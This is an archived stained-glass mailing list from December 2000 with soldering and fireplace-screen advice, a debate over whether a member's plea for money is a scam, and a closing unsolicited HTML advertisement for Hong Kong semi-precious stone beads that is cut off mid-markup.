--------------45CDAFF211A101EF15556709--

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From owner-glass Wed Dec  6 16:01:12 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: "Kaye Sodt" <kaye@GSA-ORSP.CROWN.NWU.EDU>,
Content-Type: text/plain;
Subject: RE: soldier
Date: Wed, 6 Dec 2000 17:25:11 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

primarily a glass color will always differ. mostly because your looking
through the glass, and it sparkles.

as for soldering, on my tips section at http://www.geocities.com/Paris/1141/
i have a new soldering section that should hopefully take care of your
soldering problems. mostly it's - go over the seam, go in to the section
about a 1/4" backup and continue what your doing. it gives you a start for
the next bead. so when you go to solder, that little tail will heat up
instead of the bead you just made.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Kaye Sodt [mailto:kaye@GSA-ORSP.CROWN.NWU.EDU]
> Sent: Wednesday, December 06, 2000 11:57 AM
> To: glass@bungi.com
> Subject: Re: soldier
>
>
> Ella--
>
> I agree.  Though I seldom wear red, I *love* red glass.  Seems like
> most of the "can't pass up" pieces of glass I've collected are either
> blue/green combos or red.
>
> I'm hoping somebody has a good answer to your other question.
> I've always thought I could produce perfect solder beads forever--as
> long as it was one long line with no intersections!  If I touch up the
> intersections, then there's a mark on the "legs."
>
> Kaye
> --------------------
> I thought blue was my favorite color, however since I have been doing =
> stained glass I discovered red is my favorite.  Seems like without =
> realizing it I manage to get a small piece of red in each piece I do.  I =
> am sure this has been covered in the past, but I am a new comer.  I need =
> hints on making a neat soldier joint on folded pieces where two =
> intersect.  I will have it looking halfway good then I joint another =
> line and mess it up.  ella
>
> ----
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From owner-glass Wed Dec  6 16:19:48 2000
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X-Path: unibase.com!thegrainery
From: Colleen Schick <thegrainery@unibase.com>
To: gunnx4@ix.netcom.com, "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Lee Boe
Date: Wed, 06 Dec 2000 17:24:48 -0600
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Precedence: bulk

Hi Suzanne,

When you want to give, then give, but if you were such great pals with this person, why
didn't they phone you  or write you privately instead of "cleaning their closet" in an
open forum. I really think that the manner this was done in really does nothing for
one's self-esteem if you have already hit rock bottom. There is a little thing called
"DIGNITY"

And ... I work too hard for my money and have a husband and two kids to feed. That's
called "PRIORITY"... but I do tyth my 10 percent in church!!!!!

Colleen
---------------------------------------------------------------------------------
Suzanne Gunn wrote:

> Colleen,
>
> There are quite a few of us who have taken the opportunity to meet each
> other in person and those bonds we made originally online were, and
> still are real. I've made some very good friends for life online.
> I understand if you don't care to help someone you have never met, but
> because you don't know them, doesn't make it a scam.
>
> Suzanne
>
> Colleen Schick wrote:
> >
> > To all of you...
> >
> > Christmas brings "all sorts" out of the wood work, so don't set your selves up for
> > disappointment when you've been told by the police that you've been had. Having
> > worked in the Social Services Area for a number of years, I can hopefully put your
> > consciences at ease when I say that she, if she is really institutionalized, she
> > is being taken care of.
> >
> > Use your hard earned money to take care of your families and loved ones, and drop
> > a buck or two in the Salvation Army's bucket.
> >
> > A typical scam, which this is, makes you feel compelled to help someone who you've
> > never met.. and this is a very good one, making it's way into a close group and
> > telling stories how they have formed close bonds to others "from our group" (so
> > they must be safe, right?) WRONG!!!
> >
> > Think this one over very carefully.
> >
> > Sincerely, and Merry Christmas All!
> >
> > Colleen
> > -----------------------------------------------------------------------
> > Cecily & Ralph Wood wrote:
> >
> > > I'm confused.  Elisabeth and Jenny seem to think this a genuine plea for
> > > help.  Your message seems to imply this is a scam.  I'd like to know one way
> > > or the other.  I've never met the woman, but have certainly read her postings.
> > >
> > > Glenna Rand wrote:
> > >
> > > > Hi everyone,
> > > >
> > > > Regarding Lee boe's msg:
> > > > I really need the help of anyone who knows me from the last 2 years of my
> > > > membership.  I broke up housekeeping with my (EX) friend, and have all my
> > > > tools, torches, grinders, $12,000 dollars worth of art glass, all stored in
> > > > a storage facility. (Some good friends were able to load it up for me, but
> > > > are unable to help finacially.)  If everyone who knows me, as an honest and
> > > > sane person will send a postal money order made out to Lee M. Boe for $5 US
> > > > dollars or more if you can spare it, I will be able to save what is
> > > > meaningful in my life, and get out of this looney bin (it is a real hell
> > > > pit, all the horror stories you have heard about nursing homes are true.)
> > > >
> > > > Snip....
> > > >
> > > > Yes I will be sending him a note asking not to use this group for
> > > > a this sort of stuff,.....sigh  :^(
> > > >
> > > > --
> > > > Glenna Rand
> > > > gjr@bungi.com
> > > > ----
> > > > For subscription changes, please mail to: glass-request@bungi.com
> > > > To send to the list,      please mail to: glass@bungi.com
> > > > Archives available at http://www.bungi.com/glass
> > >
> > > --
> > > *********************************************************************
> > > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > > *********************************************************************
> > >
> > > ----
> > > For subscription changes, please mail to: glass-request@bungi.com
> > > To send to the list,      please mail to: glass@bungi.com
> > > Archives available at http://www.bungi.com/glass
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass

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From owner-glass Wed Dec  6 16:26:44 2000
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X-Path: unibase.com!thegrainery
From: Colleen Schick <thegrainery@unibase.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: I enjoy you
Date: Wed, 06 Dec 2000 17:37:40 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I really have this compulsion to tell you all this:

I am a thirty year old, stay-at-home mom who owns and operates a
business as time allows... I converse daily with a five and four year
old... and in the Canadian prairies we're under six feet of snow and
ice... and no matter how my day is going, I know I can always count on
you all to lift my spirits...

I'm glad that there are people out there who trust a stranger in need,
and I'm glad that there are people out there who can make a mountain out
of a "color questionaire". And I suppose that we are here for you who
gave and got "gotten".

There are so many different people.. and I feel that someday, somewhere,
somehow, regardless of religion or lack-there-of, we will meet face to
face.

You are all a delight to have to converse with-  and really, I think
that's why we do this. I could call a local glass shop or check one of
my many books for answers... but I'd rather enjoy your company!!

I hope all of you enjoy this Christmas season and whatever else you
celebrate.

Sincerely,
Colleen

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From owner-glass Wed Dec  6 16:52:27 2000
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X-Path: freegraphics.com!webmaster
From: "Claire Amundsen Schaeffer" <webmaster@freegraphics.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: OT: Lee Boe
Date: Wed, 6 Dec 2000 18:49:25 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

(Just for perspective -- I have not contributed to Lee Boe -- that's
not been a conscious choice, but more a matter of being way behind on
reading this list.)

> Christmas brings "all sorts" out of the wood work, so don't set your
selves up for disappointment when you've been told by the police that
you've been had.<

I'd rather give and risk "being had" then not give and allow suffering
that I could have helped alleviate.  I have been very blessed in my
life and I'd much rather share that with 10 people who don't "deserve"
it (do I?) and 1 person who does then miss the 1 because the 10 pissed
me off

>if she is really institutionalized, she is being taken care of.

Hogwash.  She may be, she may not be.  First, the Baker Act in Florida
has accounted for a wide variety of people being institutionalized
under more than questionable circumstances. Second, if you think *all*
institutions in Florida (or anywhere else) offer quality (or even
adequate) care, that I have to wonder what area of Social Services you
have ensconced yourself in.

> Use your hard earned money to take care of your families and loved
ones, and drop a buck or two in the Salvation Army's bucket.<

Sorry, nobody but me makes decisions as to where my money goes and I
resent your condescending attempt to tell me where to put my bucks and
how to take care of my family  more than I resent any scam artist that
has ever taken me for a few bucks (NOT suggesting Lee B. is one, I
don't know the situation well enough to comment).

I do apologize to this list for being off-topic.

Claire
GlassJumps.com
Cold, Warm, and Hot Glass
http://www.glassjumps.com/
Links to 150+ Glass Resources

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From owner-glass Wed Dec  6 16:56:42 2000
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X-Path: citynet.net!khupp
From: "Kathy Hupp" <khupp@citynet.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Fw: Lee Boe
Date: Wed, 6 Dec 2000 19:28:13 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Pardon me for forgetting to sign my message. Thought I should before
somebody thought I had no --- behind my mouth.
Kathy Hupp
Sandyville, WV
khupp@citynet.net
----- Original Message -----
From: Kathy Hupp <khupp@citynet.net>
To: Nadine BethSchneider <nadinesfolly@POBox.com>; Colleen Schick
<thegrainery@unibase.com>
Sent: Wednesday, December 06, 2000 7:22 PM
Subject: Re: Lee Boe


> Well said! I'm not financially stable, but I'm sending one days worth of
> income to her doc.  Soon as I do a little better, I'll send more. My
brother
> is an RN in our local "institution" and he says they don't "cure" or even
> "care for people". He's not even allowed to laugh or cut up if a patient
> says something funny. Immediate reason for dismissal. He's supposed to be
> somber at all times.Can you believe it? Actually, he told me they are
> usually in better shape when they arrive than when they leave. But most
are
> submissive whan they leave and cause no "problems". It appears that is
what
> society wants and I find it very sad. The  purpose is not to help but to
> CONTROL people. Get them to Conform. I can't even imagine her suffering,
> thank god. And she didn't scream for help for herself, but to save her
> tools. How is she going to support herself when she gets out without her
> glass tools? It's a big Catch 22 if she doesn't have them.
> Just because the rain is not falling on your head and you are fed, doesn't
> mean you are taken care of. In America, we have overpasses and soup
kitchens
> that can fill the bill for those helpful things, better than the psych
> hospitals. At least overpasses and soup kitchens don't do any permanent
> damage. I say get her out of there before Lee suffers any permanent
damage!
> I'd rather live in a cardboard box than let somebody control my actions.
> ----- Original Message -----
> From: Nadine BethSchneider <nadinesfolly@POBox.com>
> To: Colleen Schick <thegrainery@unibase.com>
> Sent: Wednesday, December 06, 2000 5:58 PM
> Subject: RE: Lee Boe
>
>
> > This is not a scam, Colleen. . .
> >
> > A long time ago when bungi was young (and probably a lot smaller) there
> were
> > many of us who conversed online almost daily.  Lee Boe was one of them
and
> I
> > believe that everything she has said is absolutely true.  If you think
> this
> > is just a scam, that's fine, it's your opinion. . .but I don't think you
> > know Lee.
> >
> > Nadine
> >
> > Nadine Beth Schneider
> > Nadine's Folly, Ltd
> > www.nadinesfolly.com
> >
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
> >
>

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From owner-glass Wed Dec  6 19:22:57 2000
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X-Path: erols.com!deethom
From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re:ng; Lee Boe 
Date: Wed, 06 Dec 2000 21:10:35 -0500
Message-ID: <3.0.32.20001206211033.00d7bfcc@pop.erols.com>
Precedence: bulk

 I am very grateful for what I have.. It sometimes doesn't seem like much
until I hear about people like Lee. It doesn't bothr me in the least to see
this thread...it reminds me how vulnerable we are when we are chronically
ill or suffer long term injuries.  I read the story and think, there but
for the grace of god am I.
    While we have some of the most advances medical standards and practice
available to some, the low end of the scale is shocking to those countries
with socialized medicine.  There is no minimum for care on the bottom.
Once you are in the hospital and unable to care for yourself, it's not hard
to end up in a mental hospital and not be able to get out.  Not having a
place to go is one big catch 22 in some areas, in others they throw you out
on the streets anyway.  I pray I never have a condition that lands me in
rehab or a nursing home and beg God and all the powers of the universe
never to allow me in a so called mental health facility...I've worked in a
few.. they are a horror.  It's not a difficult thing to see a patient going
through a serious surgery and being bounced around the system looking for a
safe harbor to land in to recuperate. Care equates with the money in your
insurance coffers...self employed, on assistance...good luck!
I was just emptying old emails off my computer and found a few from Lee.
Most were the usual glass chat, but one in particular caught my eye...a
hurricane was approaching and she was heading in to get some sleep since it
would be hard to do so later with the pain that would come with the
storm.... boy can I relate to that...I was run over by a truck.
I hope everyone is fine and healthy and safe through the holidays and the
coming year.  For those who think it could never happern to you...I hope
you are right.
Dee  

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From owner-glass Wed Dec  6 21:35:56 2000
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X-Path: softhouse.com!giapet
From: "Karen K." <giapet@softhouse.com>
To: "Bungi" <glass@bungi.com>, "Colleen Schick" <thegrainery@unibase.com>
Content-Type: text/plain;
Subject: Re: Lee Boe
Date: Thu, 7 Dec 2000 00:17:27 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Colleen,
Please don't be so fast to *label* Lee Boe's plea for help as a scam.  I =
don't remember how often she posted to the *old bungi* back when this =
list was very active.  I do know she was an active member on the =
intrastar glass list.  Some bungi members have been on that list too.  =
Just because I haven't met her in person doesn't mean that she & her =
situation isn't real.=20

Personally I'm glad I could do something (little as it may be) to help, =
knowing it would mean so much to her.  I'm also sure she is NOT =
expecting those who have absolutely no idea who she is to help her out.  =
She probably is not aware how much this list has changed in the last =
12-18 months & was just seeking out old friends she once knew here. =20

Karen
giapet@softhouse.com


> To all of you...
>=20
> Christmas brings "all sorts" out of the wood work, so don't set your =
selves up for
> disappointment when you've been told by the police that you've been =
had. Having
> worked in the Social Services Area for a number of years, I can =
hopefully put your
> consciences at ease when I say that she, if she is really =
institutionalized, she
> is being taken care of.
>=20
> Use your hard earned money to take care of your families and loved =
ones, and drop
> a buck or two in the Salvation Army's bucket.
>=20
> A typical scam, which this is, makes you feel compelled to help =
someone who you've
> never met.. and this is a very good one, making it's way into a close =
group and
> telling stories how they have formed close bonds to others "from our =
group" (so
> they must be safe, right?) WRONG!!!
>=20
> Think this one over very carefully.
>=20
> Sincerely, and Merry Christmas All!
>=20
> Colleen
> =
-----------------------------------------------------------------------
> Cecily & Ralph Wood wrote:
>=20
> > I'm confused.  Elisabeth and Jenny seem to think this a genuine plea =
for
> > help.  Your message seems to imply this is a scam.  I'd like to know =
one way
> > or the other.  I've never met the woman, but have certainly read her =
postings.
> >
> > Glenna Rand wrote:
> >
> > > Hi everyone,
> > >
> > > Regarding Lee boe's msg:
> > > I really need the help of anyone who knows me from the last 2 =
years of my
> > > membership.  I broke up housekeeping with my (EX) friend, and have =
all my
> > > tools, torches, grinders, $12,000 dollars worth of art glass, all =
stored in
> > > a storage facility. (Some good friends were able to load it up for =
me, but
> > > are unable to help finacially.)  If everyone who knows me, as an =
honest and
> > > sane person will send a postal money order made out to Lee M. Boe =
for $5 US
> > > dollars or more if you can spare it, I will be able to save what =
is
> > > meaningful in my life, and get out of this looney bin (it is a =
real hell
> > > pit, all the horror stories you have heard about nursing homes are =
true.)
> > >
> > > Snip....
> > >
> > > Yes I will be sending him a note asking not to use this group for
> > > a this sort of stuff,.....sigh  :^(
> > >
> > > --
> > > Glenna Rand
> > > gjr@bungi.com
> > > ----
> > > For subscription changes, please mail to: glass-request@bungi.com
> > > To send to the list,      please mail to: glass@bungi.com
> > > Archives available at http://www.bungi.com/glass
> >
> > --
> > =
*********************************************************************
> > *  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> > *  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> > =
*********************************************************************
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass
>=20
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>=20

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From owner-glass Wed Dec  6 22:09:46 2000
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X-Path: uswest.net!vsila
From: Vern Sila <vsila@uswest.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Fireplace screens
Date: Wed, 06 Dec 2000 21:58:24 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I am interested in doing a glass fireplace screen.  Are there any
precautionary things I should be aware of before I tackle this project?
(i.e. heat affecting different types of  glass, came, zinc, etc.)

At the top of the center panel I would like the frame to curve upward
into a point (peak).  Is it possible to bend zinc at all?  Is it
possible to solder the brass hinges you normally find at a hardware
store?  I've seen some pictures of some beautiful screens and I haven't
a clue of what materials I should or shouldn't use.

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From owner-glass Wed Dec  6 22:36:57 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: vsila@uswest.net, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Fireplace screens
Date: Thu, 7 Dec 2000 01:17:01 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 12/6/00 10:11:00 PM Pacific Standard Time, 
vsila@uswest.net writes:

> At the top of the center panel I would like the frame to curve upward
>  into a point (peak).  Is it possible to bend zinc at all?  Is it
>  possible to solder the brass hinges you normally find at a hardware
>  store?

Zinc is easy to bend with a came bender. Your local stained glass  supplier 
likely has one and can bend to your pattern, You might even be able to do it 
by using a barrel as a mandrel. Brass solders to zinc very well. Just be sure 
the brass does not have a lacquer coating. Use steel wool to remove lacquer 
if necessary.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Wed Dec  6 23:28:19 2000
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X-Path: yahoo.com!barbaraelmore
From: barbara elmore <barbaraelmore@yahoo.com>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: color and emotions
Date: Wed, 6 Dec 2000 17:50:25 -0800 (PST)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Interesting discussion.  I once tried to counsel the
owners of a funeral home as to what colors they should
use for their interiors......not too much information
was available, even though I contacted furniture
library of High Point (the home of ALL furniture).

Howard Johnson's used to color all their roofs orange,
and their interiors to supposedly lure customers in to
eat back during the 60's.

Sherriff Hege of Davie County in NC who is also on one
of those "most wanted" type of shows on Fox, had all
his prison cells painted Pepto Bismal Pink to greatly
offend the prisoners and make them never want to come
back.......oh, and he changed the "chain gang" look
from black/white stripes to the same Pepto Bismal
Pink/white to further identify and shame them.

If anyone finds more of a difinitive answer as to how
it affects us all, please post it.  

It might give us all insight as to why cobalt, red,
and, yes, purple and even yellow catch the eye first. 




=====
Thank you,
Barbara Elmore

__________________________________________________
Do You Yahoo!?
Yahoo! Shopping - Thousands of Stores. Millions of Products.
http://shopping.yahoo.com/
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From owner-glass Wed Dec  6 23:59:38 2000
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X-Path: legacyhotels.co.za!skunneke
From: S Kunneke <skunneke@legacyhotels.co.za>
To: 'Stained Glass Mailing' <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Pattern request
Date: Thu, 7 Dec 2000 09:41:29 +0200
Message-ID: <1970Jan1.000.0>
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Hi all.

Firstly thanks for all the info - I do appreciate it.  Secondly, I have =
had a request from my sister-in-law for a stained glass 3D dragon.  I =
have searched all the pattern books in all the shops around here but =
very few have any 3D patterns.  Does anyone know where I might find a =
free pattern of one?

Many thanks

Sarah
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From owner-glass Thu Dec  7 01:34:09 2000
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X-Path: aol.com!jcmfy
From: "jcm" <jcmfy@aol.com>
To: <jcmfy@aol.com>
Content-Type: multipart/alternative;
Subject: Re: Glamorous Semi-Precious Stone Beads At Great Prices!  sps      %%
Date: Thu, 7 Dec 2000 16:53:26 +0800
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_01DC_01C0606E.37F75900
Content-Type: text/plain;
	charset="windows-1250"
Content-Transfer-Encoding: quoted-printable

           Glamorous Semi-Precious Stones At Great Prices!=20
           Jewelry Centre Mfy.   5/F. Block B4, 489 Castle Peak Road, =
Hong Kong=20
           e-mail : jcm@hkstar.com  Tel. 2745-1882 (10 Lines)  Fax =
2744-0773 & 2786-1441
    =20
                  Increase Your Semi-Precious Stone Profits,=20

                  Together  With  The  Perfect  Partner!
                =20



            Dear Sir/Madam,



            We have received a message from the HK Trade Development =
Council advising us that your company is currently souring for Hong Kong =
Jewelry suppliers, and they highly recommend us to your company.

            =20

            We've studied the Semi-Precious Stone and Freshwater Pearl =
business for a long time. We've actually sold more Freshwater Pearls =
than anyone else in Hong Kong, we can afford to sell for less.

            Here are some of the highlights of our Best Sellers:

                   =20
                  #1 BEST Seller  Millions Sold In 2000 US$1.95
                 10MM Beads 18K   Plated Clasp 17" US$4.85
                 Power Pearl Bracelet & Loose End Pearl 16" US$0.66
                 Gemstones Beads Always in Demand US$1.18
                =20

            Take a moment to browse our Web Site at www.fwpearl.com, the =
site represent the best selling Semi-Precious Stone &  Freshwater Pearl =
available today, you will quickly see we are committed to enhance Your =
Sales and Profits!

            As the market leader, when you buy our Semi-Precious Stone =
or Freshwater Pearl, you don=92t just buy our products, you buy our =
expertise, our willingness to help, and our total commitment to your =
complete satisfaction. We have a great deal of experience in export and =
well equipped of all your requirements. Our high quality products and =
good service have won the confidence of many Jewelry and Beads traders =
all over the world.

            We hope to hear from you very soon, and we're going to do =
everything we possibly can to make sure you are 100% satisfied with your =
important purchase.


            With Fine Regards.

            Nelson
          =20
       ....
    =20
       Remove? We really hope that you like our products and our e-mail =
to be welcome in your company.   However......., if it's not right for =
you, please go to Remove  and add to your name, this will automatically =
block you from receiving any e-mail from us. =20


------=_NextPart_000_01DC_01C0606E.37F75900
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  <TBODY>
  <TR>
    <TD bgColor=3D#000000 colSpan=3D2 height=3D20 width=3D725><FONT=20
      size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; </FONT></FONT><B><FONT =
color=3D#ffffff=20
      face=3DHelvetica size=3D3><SPAN=20
      style=3D"mso-bidi-font-size: 10.0pt; mso-fareast-font-family: =
PMingLiU; mso-bidi-font-family: Times New Roman; mso-fareast-language: =
EN-US; mso-ansi-language: EN-US; mso-bidi-language: AR-SA">Glamorous=20
      Semi-Precious Stones </SPAN></FONT><SPAN=20
      style=3D"mso-bidi-font-size: 10.0pt; mso-fareast-font-family: =
PMingLiU; mso-bidi-font-family: Times New Roman; mso-fareast-language: =
EN-US; mso-ansi-language: EN-US; mso-bidi-language: AR-SA"><FONT=20
      color=3D#ffffff face=3DHelvetica size=3D3>At Great=20
  Prices!</FONT></SPAN></B></TD></TR><FONT face=3DArial>
  <TR>
    <TD bgColor=3D#ffcc00 colSpan=3D2 height=3D42 width=3D725><FONT=20
      size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; </FONT><FONT =
face=3DHelvetica><B><FONT=20
      color=3D#ff0000 size=3D4><U>Jewelry Centre =
Mfy.</U></FONT></B></FONT><FONT=20
      size=3D2>&nbsp;&nbsp;<FONT face=3DHelvetica> 5/F. Block B4, 489 =
Castle Peak=20
      Road, Hong Kong</FONT></FONT><FONT face=3DHelvetica><SPAN=20
      style=3D"LEFT: 569px; POSITION: absolute; TOP: 85px"><IMG =
align=3Dleft=20
      height=3D45 src=3D"http://www.jcm.com.hk/e-logo.jpg" =
width=3D45></SPAN></FONT>=20
      <P align=3Dleft style=3D"MARGIN-BOTTOM: 0px; MARGIN-TOP: =
0px"><FONT=20
      size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; </FONT><FONT face=3DHelvetica =
size=3D2>e-mail=20
      : <A href=3D"mailto:jcm@hkstar.com">jcm@hkstar.com</A>&nbsp; Tel. =
2745-1882=20
      (10 Lines)&nbsp; Fax 2744-0773 &amp; =
2786-1441</FONT></P></TD></TR>
  <TR>
    <TD height=3D473 width=3D504>
      <TABLE border=3D1 cellPadding=3D0 cellSpacing=3D0 height=3D432 =
width=3D519>
        <TBODY>
        <TR>
          <TD height=3D432 width=3D519>
            <TABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 =
height=3D17 width=3D559>
              <TBODY>
              <TR>
                <TD align=3Dmiddle bgColor=3D#008000 height=3D48 =
vAlign=3Dcenter=20
                width=3D557>
                  <P align=3Dcenter=20
                  style=3D"MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px"><B><SPAN =

                  style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
                  color=3D#ffffff face=3DHelvetica size=3D3>Increase =
Your=20
                  </FONT></FONT><FONT color=3D#ffffff face=3DHelvetica=20
                  size=3D3>Semi-Precious Stone=20
                  Profits,&nbsp;</FONT></SPAN></B></P><FONT =
face=3DArial>
                  <P align=3Dcenter=20
                  style=3D"MARGIN-BOTTOM: 0px; MARGIN-TOP: =
0px"><B><U><SPAN=20
                  style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
                  color=3D#ffffff face=3DHelvetica =
size=3D3>Together&nbsp; With&nbsp;=20
                  The&nbsp; Perfect&nbsp;=20
                  =
Partner!</FONT></SPAN></U></B></P></FONT></TD></TR></TBODY></TABLE>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px">&nbsp;</P>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px"><FONT =
face=3DHelvetica=20
            size=3D3>Dear Sir/Madam,</FONT></P>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px">&nbsp;</P>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px"><SPAN=20
            style=3D"LAYOUT-GRID-MODE: line; mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
            face=3DHelvetica size=3D3>We have received a message from =
the HK Trade=20
            Development Council advising us that your company is =
currently=20
            souring for Hong Kong </FONT></FONT><FONT face=3DHelvetica=20
            size=3D3>Jewelry suppliers, and they highly recommend us to =
your=20
            company.</FONT></SPAN></P><FONT face=3DArial>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px"><FONT =
face=3DHelvetica=20
            size=3D3>&nbsp;</FONT></P>
            <P align=3Djustify class=3DHTMLBody=20
            style=3D"MARGIN-BOTTOM: -1px; MARGIN-TOP: -1px"><SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
            face=3DHelvetica size=3D3><FONT face=3DHelvetica>We've =
studied the=20
            </FONT></FONT></SPAN></FONT><SPAN=20
            style=3D"mso-bidi-font-size: 10.0pt; =
mso-fareast-font-family: PMingLiU; mso-bidi-font-family: Times New =
Roman; mso-fareast-language: EN-US; mso-ansi-language: EN-US; =
mso-bidi-language: AR-SA"><FONT=20
            face=3DHelvetica>Semi-Precious Stone and Freshwater Pearl =
business for=20
            a long time. We've actually sold more Freshwater Pearls than =
anyone=20
            else in Hong Kong, we can afford to sell for=20
            less.</FONT></SPAN></P><FONT face=3DArial>
            <P class=3DMsoNormal><B><SPAN style=3D"BACKGROUND-COLOR: =
#ffcc00"><FONT=20
            face=3DHelvetica size=3D3>Here are some of the highlights of =
our Best=20
            Sellers:</FONT></SPAN></B></P>
            <TABLE border=3D0 cellPadding=3D0 cellSpacing=3D0 =
height=3D138=20
              width=3D"100%"><TBODY>
              <TR>
                <TD height=3D130 width=3D"25%"><A=20
                  href=3D"http://www.jcm.com.hk/bs_1a.htm"><FONT =
face=3DHelvetica=20
                  size=3D3><IMG border=3D0 height=3D175=20
                  src=3D"http://www.jcm.com.hk/e-af.jpg" =
width=3D135></FONT></A></TD>
                <TD height=3D130 width=3D"25%"><FONT face=3DHelvetica =
size=3D3><A=20
                  href=3D"http://www.jcm.com.hk/dn_1.htm"><IMG =
border=3D0 height=3D175=20
                  src=3D"http://www.jcm.com.hk/e-a.jpg" =
width=3D135></A></FONT></TD>
                <TD height=3D130 width=3D"25%"><A=20
                  href=3D"http://www.jcm.com.hk/p_1.htm"><FONT =
face=3DHelvetica=20
                  size=3D3><IMG border=3D0 height=3D175=20
                  src=3D"http://www.jcm.com.hk/lpearl.jpg"=20
width=3D135></FONT></A></TD>
                <TD height=3D130 width=3D"25%"><FONT face=3DHelvetica =
size=3D3><A=20
                  href=3D"http://www.jcm.com.hk/st_1a.htm"><IMG =
border=3D0=20
                  height=3D175 src=3D"http://www.jcm.com.hk/e-an1.jpg"=20
                  width=3D135></A></FONT></TD></TR>
              <TR>
                <TD align=3Dmiddle height=3D8 width=3D"25%">
                  <P align=3Dcenter><A=20
                  href=3D"http://www.jcm.com.hk/bs_1a.htm"><FONT =
color=3D#0000ff>#1=20
                  BEST Seller&nbsp; <FONT size=3D2>Millions Sold In =
2000</FONT>=20
                  <B>US$1.95</B></FONT></A></P></FONT></TD><FONT =
face=3DArial>
                <TD align=3Dmiddle height=3D8 width=3D"25%">
                  <P align=3Dcenter><FONT color=3D#0000ff><A=20
                  =
href=3D"http://www.jcm.com.hk/so_1.htm">10</A></FONT><A=20
                  href=3D"http://www.jcm.com.hk/so_1.htm"><FONT =
color=3D#0000ff>MM=20
                  Beads 18K&nbsp;&nbsp; Plated Clasp 17"=20
                  <B>US$4.85</B></FONT></A></P></TD>
                <TD align=3Dmiddle height=3D8 width=3D"25%">
                  <P align=3Dcenter><A =
href=3D"http://www.jcm.com.hk/p_1.htm"><FONT=20
                  color=3D#0000ff face=3DArial size=3D2>Power Pearl =
Bracelet &amp;=20
                  Loose End Pearl 16" </FONT><FONT=20
                  =
color=3D#0000ff><B>US$0.66</B></FONT></A></FONT></P></TD>
                <TD align=3Dmiddle height=3D8 width=3D"25%">
                  <P align=3Dcenter><FONT face=3DArial><A=20
                  href=3D"http://www.jcm.com.hk/st_1a.htm"><FONT=20
                  color=3D#0000ff>Gemstones Beads Always in Demand=20
                  =
<U><B>US$1.18</B></U></FONT></A></FONT></P></TD></TR></TBODY></TABLE><FON=
T=20
            face=3DArial><FONT face=3DArial>
